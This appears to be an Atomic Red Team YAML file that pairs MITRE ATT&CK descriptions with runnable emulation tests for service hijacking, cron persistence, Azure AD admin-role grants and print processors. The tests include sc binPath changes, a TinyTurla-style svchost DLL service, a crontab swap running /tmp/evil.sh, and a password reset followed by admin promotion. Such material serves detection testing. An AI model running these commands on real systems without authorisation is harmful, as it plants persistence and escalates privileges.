      x_mitre_detection: "Monitor processes and command-line arguments for actions
        that could create or modify services. Command-line invocation of tools capable
        of adding or modifying services may be unusual, depending on how systems are
        typically used in a particular environment. Services may also be modified
        through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional
        logging may need to be configured to gather the appropriate data. Remote access
        tools with built-in features may also interact directly with the Windows API
        to perform these functions outside of typical system utilities. Collect service
        utility execution and service binary path arguments used for analysis. Service
        binary paths may even be changed to execute commands or scripts.  \n\nLook
        for changes to service Registry entries that do not correlate with known software,
        patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
        Changes to the binary path and the service startup type changed from manual
        or disabled to automatic, if it does not typically do so, may be suspicious.
        Tools such as Sysinternals Autoruns may also be used to detect system service
        changes that could be attempts at persistence.(Citation: TechNet Autoruns)
        \ \n\nCreation of new services may generate an alterable event (ex: Event
        ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft
        Windows Event Forwarding FEB 2018)). New, benign services may be created during
        installation of new software.\n\nSuspicious program execution through services
        may show up as outlier processes that have not been seen before when compared
        against historical data. Look for abnormal process call trees from known services
        and for execution of other commands that could relate to Discovery or other
        adversary techniques. Data and events should not be viewed in isolation, but
        as part of a chain of behavior that could lead to other activities, such as
        network connections made for Command and Control, learning details about the
        environment through Discovery, and Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Service: Service Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Driver: Driver Load'
      - 'Service: Service Modification'
      - 'Process: OS API Execution'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
      created: '2020-01-17T19:13:50.402Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/003
        external_id: T1543.003
      - source_name: Microsoft Windows Event Forwarding FEB 2018
        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
          to help with intrusion detection. Retrieved August 7, 2018.
        url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
      - source_name: ESET InvisiMole June 2020
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
      - source_name: SANS 1
        description: Joshua Wright. (2020, October 13). Retrieved March 22, 2024.
        url: https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
      - source_name: SANS 2
        description: Joshua Wright. (2020, October 14). Retrieved March 22, 2024.
        url: https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/
      - source_name: TechNet Services
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
      - source_name: Microsoft 4697 APR 2017
        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
          was installed in the system. Retrieved August 7, 2018.'
        url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
      - source_name: Symantec W.32 Stuxnet Dossier
        description: Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February).
          W32.Stuxnet Dossier. Retrieved December 7, 2020.
        url: https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
      - source_name: Unit42 AcidBox June 2020
        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
          Retrieved March 16, 2021.'
        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      - source_name: Crowdstrike DriveSlayer February 2022
        description: Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects
          from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25,
          2022.
        url: https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1543.003
    atomic_tests:
    - name: Modify Fax service to run PowerShell
      auto_generated_guid: ed366cde-7d12-49df-a833-671904770b9f
      description: |
        This test will temporarily modify the service Fax by changing the binPath to PowerShell
        and will then revert the binPath change, restoring Fax to its original state.
        Upon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
          sc start Fax
        cleanup_command: sc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul
          2>&1
    - name: Service Installation CMD
      auto_generated_guid: 981e2942-e433-44e9-afc1-8c957a1496b6
      description: |
        Download an executable from github and start it as a service.
        Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_type:
          description: Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare
          type: string
          default: Own
        startup_type:
          description: Service start method. May be boot|system|auto|demand|disabled|delayed-auto
          type: string
          default: auto
        service_name:
          description: Name of the Service
          type: string
          default: AtomicTestService_CMD
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

          '
        prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc.exe create #{service_name} binPath= "#{binary_path}" start=#{startup_type}  type=#{service_type}
          sc.exe start #{service_name}
        cleanup_command: |
          sc.exe stop #{service_name} >nul 2>&1
          sc.exe delete #{service_name} >nul 2>&1
    - name: Service Installation PowerShell
      auto_generated_guid: 491a4af6-a521-4b74-b23b-f7b3f1ee9e77
      description: |
        Installs A Local Service via PowerShell.
        Upon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_name:
          description: Name of the Service
          type: string
          default: AtomicTestService_PowerShell
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

          '
        prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: powershell
        elevation_required: true
        command: |
          New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
          Start-Service -Name "#{service_name}"
        cleanup_command: |
          Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
          try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
          catch {}
    - name: TinyTurla backdoor service w64time
      auto_generated_guid: ef0581fd-528e-4662-87bc-4c2affb86940
      description: |
        It's running Dll as service to emulate the TinyTurla backdoor

        [Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)
      supported_platforms:
      - windows
      input_arguments:
        dllfilename:
          description: It specifies Dll file to run as service
          type: string
          default: "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
      executor:
        command: |-
          copy "#{dllfilename}" %systemroot%\system32\
          sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
          sc config W64Time DisplayName= "Windows 64 Time"
          sc description W64Time "Maintain date and time synch on all clients and services in the network"
          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
          reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
          sc start W64Time
        cleanup_command: |-
          sc stop W64Time
          sc.exe delete W64Time
          del %systemroot%\system32\w64time.dll
          reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /f
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /f
        name: command_prompt
        elevation_required: true
    - name: Remote Service Installation CMD
      auto_generated_guid: fb4151a2-db33-4f8c-b7f8-78ea8790f961
      description: |
        Download an executable from github and start it as a service on a remote endpoint
        Upon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
      supported_platforms:
      - windows
      input_arguments:
        binary_path:
          description: Name of the service binary, include path.
          type: path
          default: PathToAtomicsFolder\T1543.003\bin\AtomicService.exe
        service_type:
          description: Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare
          type: string
          default: Own
        startup_type:
          description: Service start method. May be boot,system,auto,demand,disabled,delayed-auto
          type: string
          default: auto
        service_name:
          description: Name of the Service
          type: string
          default: AtomicTestService_CMD
        remote_host:
          description: Name of the remote endpoint
          type: string
          default: localhost
      dependency_executor_name: powershell
      dependencies:
      - description: 'Service binary must exist on disk at specified location (#{binary_path})

          '
        prereq_command: 'if (Test-Path "#{binary_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"
      executor:
        name: command_prompt
        elevation_required: true
        command: |
          sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type}
          sc.exe \\#{remote_host} start #{service_name}
        cleanup_command: |
          sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1
          sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1
    - name: Modify Service to Run Arbitrary Binary (Powershell)
      auto_generated_guid: 1f896ce4-8070-4959-8a25-2658856a70c9
      description: "This test will use PowerShell to temporarily modify a service
        to run an arbitrary executable by changing its binary path and will then revert
        the binary path change, restoring the service to its original state.\nThis
        technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse
        function. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)\n"
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of the service to modify
          type: string
          default: fax
        new_bin_path:
          description: Path of the new service binary
          type: String
          default: "$env:windir\\system32\\notepad.exe"
        original_bin_path:
          description: Path of the original service binary
          type: String
          default: "$env:windir\\system32\\fxssvc.exe"
      executor:
        command: |-
          Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
          set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}"
          start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null
        cleanup_command: |-
          Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
          set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null
        name: powershell
        elevation_required: true
  T1053.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
      type: attack-pattern
      created: '2019-12-03T14:25:00.538Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1053.003
        url: https://attack.mitre.org/techniques/T1053/003
      - source_name: 20 macOS Common Tools and Techniques
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Scheduled Task/Job: Cron'
      description: "Adversaries may abuse the <code>cron</code> utility to perform
        task scheduling for initial or recurring execution of malicious code.(Citation:
        20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
        job scheduler for Unix-like operating systems.  The <code> crontab</code>
        file contains the schedule of cron entries to be run and the specified times
        for execution. Any <code>crontab</code> files are stored in operating system-specific
        file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments
        to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc.  \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1053.003
    atomic_tests:
    - name: Cron - Replace crontab with referenced file
      auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75
      description: 'This test replaces the current user''s crontab file with the contents
        of the referenced file. This technique was used by numerous IoT automated
        exploitation attacks.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: "/tmp/evil.sh"
        tmp_cron:
          description: Temporary reference file to hold evil cron schedule
          type: path
          default: "/tmp/persistevil"
      executor:
        name: sh
        command: |
          crontab -l > /tmp/notevil
          echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
        cleanup_command: 'crontab /tmp/notevil

          '
    - name: Cron - Add script to all cron subfolders
      auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0
      description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily,
        /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a
        schedule. This technique was used by the threat actor Rocke during the exploitation
        of Linux web servers.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: |
          echo "#{command}" > /etc/cron.daily/#{cron_script_name}
          echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
          echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
          echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
        cleanup_command: |
          rm /etc/cron.daily/#{cron_script_name} -f
          rm /etc/cron.hourly/#{cron_script_name} -f
          rm /etc/cron.monthly/#{cron_script_name} -f
          rm /etc/cron.weekly/#{cron_script_name} -f
    - name: Cron - Add script to /etc/cron.d folder
      auto_generated_guid: '078e69eb-d9fb-450e-b9d0-2e118217c846'
      description: 'This test adds a script to /etc/cron.d folder configured to execute
        on a schedule.

        '
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo '*/5     *       *       *       *       root    echo "Hello
            from Atomic Red Team"' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: sh
        command: 'echo "#{command}" > /etc/cron.d/#{cron_script_name}

          '
        cleanup_command: 'rm /etc/cron.d/#{cron_script_name} -f

          '
    - name: Cron - Add script to /var/spool/cron/crontabs/ folder
      auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4
      description: 'This test adds a script to a /var/spool/cron/crontabs folder configured
        to execute on a schedule. This technique was used by the threat actor Rocke
        during the exploitation of Linux web servers.

        '
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in /var/spool/cron/crontabs folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

          '
        cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -f

          '
  T1098.003:
    technique:
      modified: '2024-03-29T18:29:06.873Z'
      name: 'Account Manipulation: Additional Cloud Roles'
      description: "An adversary may add additional roles or permissions to an adversary-controlled
        cloud account to maintain persistent access to a tenant. For example, adversaries
        may update IAM policies in cloud-based environments or add a new global administrator
        in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation:
        Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin,
        October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions,
        a compromised account can gain almost unlimited access to data and settings
        (including the ability to reset the passwords of other admins).(Citation:
        Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account
        modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136)
        or other malicious account activity. Adversaries may also modify existing
        [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have
        compromised. This could lead to privilege escalation, particularly if the
        roles added allow for lateral movement to additional accounts.\n\nFor example,
        in AWS environments, an adversary with appropriate permissions may be able
        to use the <code>CreatePolicyVersion</code> API to define a new version of
        an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy
        with additional or distinct permissions to a compromised user account.(Citation:
        Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries
        may add roles to adversary-controlled accounts outside the victim cloud tenant.
        This allows these external accounts to perform actions inside the victim tenant
        without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136)
        or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Alex Parsons, Crowdstrike
      - Chris Romano, Crowdstrike
      - Wojciech Lesicki
      - Pià Consigny, Tenable
      - Clément Notin, Tenable
      - Praetorian
      - Alex Soler, AttackIQ
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: 'Collect activity logs from IAM services and cloud administrator
        accounts to identify unusual activity in the assignment of roles to those
        accounts. Monitor for accounts assigned to admin roles that go over a certain
        threshold of known admins. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - IaaS
      - SaaS
      - Google Workspace
      - Azure AD
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3
      created: '2020-01-19T16:59:45.362Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/003
        external_id: T1098.003
      - source_name: Expel AWS Attacker
        description: " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett.
          (2022, April 5). Incident report: From CLI to console, chasing an attacker
          in AWS. Retrieved April 7, 2022."
        url: https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/
      - source_name: Microsoft O365 Admin Roles
        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
      - source_name: AWS IAM Policies and Permissions
        description: AWS. (n.d.). Policies and permissions in IAM. Retrieved April
          1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html
      - source_name: Google Cloud IAM Policies
        description: Google Cloud. (2022, March 31). Understanding policies. Retrieved
          April 1, 2022.
        url: https://cloud.google.com/iam/docs/policies
      - source_name: Invictus IR DangerDev 2024
        description: Invictus Incident Response. (2024, January 31). The curious case
          of DangerDev@protonmail.me. Retrieved March 19, 2024.
        url: https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
      - source_name: Microsoft Support O365 Add Another Admin, October 2019
        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.003
    atomic_tests:
    - name: Azure AD - Add Company Administrator Role to a user
      auto_generated_guid: 4d77f913-56f5-4a14-b4b1-bf7bb24298ad
      description: 'Add an existing Azure user account the Company Administrator Role.

        '
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        target_user:
          description: Name of the user who will be assigned the Company Admin role
          type: string
          default: default
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSOnline module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name MSOnline -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name MSOnline -Force

          '
      executor:
        command: |
          Import-Module MSOnline
          $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
          Connect-MsolService -Credential $Credential
          Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
        cleanup_command: 'Remove-MsolRoleMember -RoleName "Company Administrator"
          -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"

          '
        name: powershell
        elevation_required: false
    - name: Simulate - Post BEC persistence via user password reset followed by user
        added to company administrator role
      auto_generated_guid: 14f3af20-61f1-45b8-ad31-4637815f3f44
      description: |
        This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.
         Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges
      supported_platforms:
      - azure-ad
      input_arguments:
        auth_username:
          description: Azure AD username used to conduct the adversary activity
          type: string
          default: jonh@contoso.com
        auth_password:
          description: Azure AD password for user auth_username
          type: string
          default: p4sswd
        target_user:
          description: Name of the user whose password be reset and added to the admin
            role.
          type: string
          default: default
        target_password:
          description: The password that the user target_user will be reset to.
          type: string
          default: Ohn05GeMe#$
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSOnline and AzureAD modules must be installed.

          '
        prereq_command: |
          $required_mods = 'AzureAD', 'MSOnline'
          $installed_mods = @((Get-Module $required_mods -ListAvailable -ErrorAction SilentlyContinue).Name  | Select-Object -Unique)
          $notInstalled = Compare-Object $required_mods $installed_mods -PassThru -ErrorAction SilentlyContinue

          if ($notInstalled) {
          # Prompt for installing the missing ones.
          Write-Output "The following PS modules aren't currently installed:"
          $notInstalled
            exit 1
          }

           else{
            Write-Output "All required PS modules are installed"
            exit 0
           }
        get_prereq_command: |
          Install-Module -Name MSOnline -Scope CurrentUser -Force
          Install-Module -Name AzureAD -Scope CurrentUser -Force
      executor:
        command: |
          Import-Module MSOnline
          Import-Module AzureAD
          $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force
          $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
          $targetsecurepw = ConvertTo-SecureString -String "#{target_password}" -AsPlainText -Force
          Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue
          Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue

          #Saving the ObjectId of the target_user into a variable
          $target_objid = Get-AzureADUser -filter "userPrincipalName eq '#{target_user}'" | Select-Object -ExpandProperty ObjectId

          #Reset the password of the target_user
          Set-AzureADUserPassword -ObjectId  $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue

          #Adding target_user
          Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
          Add-MsolRoleMember -RoleName "Global Reader" -RoleMemberEmailAddress "#{target_user}"
        cleanup_command: |
          Import-Module MSOnline
          $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force
          $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
          Connect-MsolService -Credential $credential
          Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
          Remove-MsolRoleMember -RoleName "Global Reader" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
        name: powershell
        elevation_required: false
  T1547.012:
    technique:
      modified: '2023-10-04T14:16:17.655Z'
      name: 'Boot or Logon Autostart Execution: Print Processors'
      description: |-
        Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)

        Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver</code> Registry key that points to the DLL.

        For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)

        The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Mathieu Tartare, ESET
      - Tahseen Bin Taj
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations.

        Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Driver: Driver Load'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
      created: '2020-10-05T13:24:49.780Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/012
        external_id: T1547.012
      - source_name: Microsoft AddPrintProcessor May 2018
        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
          October 5, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
      - source_name: Microsoft Intro Print Processors
        description: Microsoft. (2023, June 26). Introduction to print processors.
          Retrieved September 27, 2023.
